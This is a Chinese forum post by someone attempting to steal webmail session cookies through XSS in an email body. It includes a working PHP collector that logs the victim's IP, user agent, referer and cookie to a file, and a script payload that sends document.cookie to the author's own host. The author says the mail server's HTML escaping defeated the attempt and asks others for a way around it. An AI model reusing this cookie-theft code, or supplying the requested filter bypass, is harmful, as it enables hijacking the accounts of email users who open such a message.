如题，最近在研究 Xss 攻击，然后突然想到这个问题 “如何实现发送一封包含script脚本的邮件，并由它获取邮箱主人的Session ？ ”。如果真的能做到这点，那必将在互联网刮起一场安全风暴。
有了想法就很想去实践一下 ，这就是计算机人员的好奇心在作怪
* 先在本机编写一个小php (vole.php )文件来接受发送过来Session等信息，并保存在文件中
<?php $ip = $_SERVER['REMOTE_ADDR']; $referer = $_SERVER['HTTP_REFERER']; $agent = $_SERVER['HTTP_USER_AGENT']; $data = $_GET["val"]; $time = date("Y-m-d G:i:s A"); $text = "<html> <body> <p>".$time." </p> // La date <p> ".$ip."</p> // Ip d'utilisateur <p> User Agent: ".$agent."</p> // Le type de navigateur <p> Referer: ".$referer."</p> // url <p> Session: ".$data."</p> // cookie <p>======================</p> </br></body></html>"; $file = fopen('cinfos.html' , 'a'); // enregistrer ces infos dans un fichier fwrite($file,$text); fclose($file); ?>
*准备工作完成后给某个邮箱发送包含script的邮件
邮件内容如下：
<script>document.location = “http://X.X.X.X/vole.php?val=”+document.cookie;</script>
/*四个X为自己主机IP地址*/
*然后用浏览器查看这封邮件，看看浏览器会不会加载这份邮件中的script.
结果也失败告终，查看页面源代码发现 < 和 > 这两个字符被邮箱服务器换成了 < et > ，HTML的转义符
曾试着找其他技术避免被替换却未果，如果有牛人知道解决方法，小弟立即跪求方法
结果还是以失败告终
小弟发表此文希望能得到牛人们的指点，先谢过了
